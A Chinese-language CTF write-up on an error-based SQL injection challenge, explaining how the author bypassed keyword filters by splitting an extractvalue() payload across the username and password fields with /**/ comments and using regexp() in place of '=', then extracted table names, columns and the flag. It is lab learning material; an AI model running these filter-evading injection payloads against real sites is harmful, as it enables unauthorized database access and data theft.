加了料的报错注入
(对https://blog.csdn.net/taozijun/article/details/80400053进行补充)
嗯这个题直接提示了首先打开hackbar采用post提交
我们直接试试提交admin 好的不行(那肯定不行啊)
题目写的很明白报错注入
这个题肯定是要用sql注入了
常规的一般不行什么and 1=2啊 这些都会被过滤 并提示 sql injection detected
参考了别人的wp
主要有几个关键点
extractvalue(目标xml文档,xml路径)
参考这一篇文章
https://blog.csdn.net/zpy1998zpy/article/details/80631036
读完之后发现这个题很好理解了
/**/注释
‘or or’这样前后闭合
(小白有点懵我试着去掉最后一个or’是无法成功注入的
看到最后有一个单引号想想是为了和前面的’闭合吧
试着去掉or发现并不成功 我的猜想错了吗? 求教大佬!!
所以这算是一种套路吗?)
“=”被过滤采用regexp()的绕过(get到了新姿势)
参考extractvalue这个函数我们大致可以构造出如下的payload
后面的爆数据熟悉的不能再熟悉了 往下看 在爆的时候有一个需要注意的地方
爆数据库得到error_based_hpf
爆表
username=admin' or extractvalue/*&password=admin*/(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),'~')) or'
(后面的‘’~‘’可以去掉 这里是为了方便查看 但前面的并不可以 因为去掉之后没有语法错误,不会报错这里是参考extractvalue)
得到表’ffll44jj’
爆列
select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'
得到列名value
爆数据
select group_concat(value) from error_based_hpf.ffll44jj
得flag
XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'
网友评论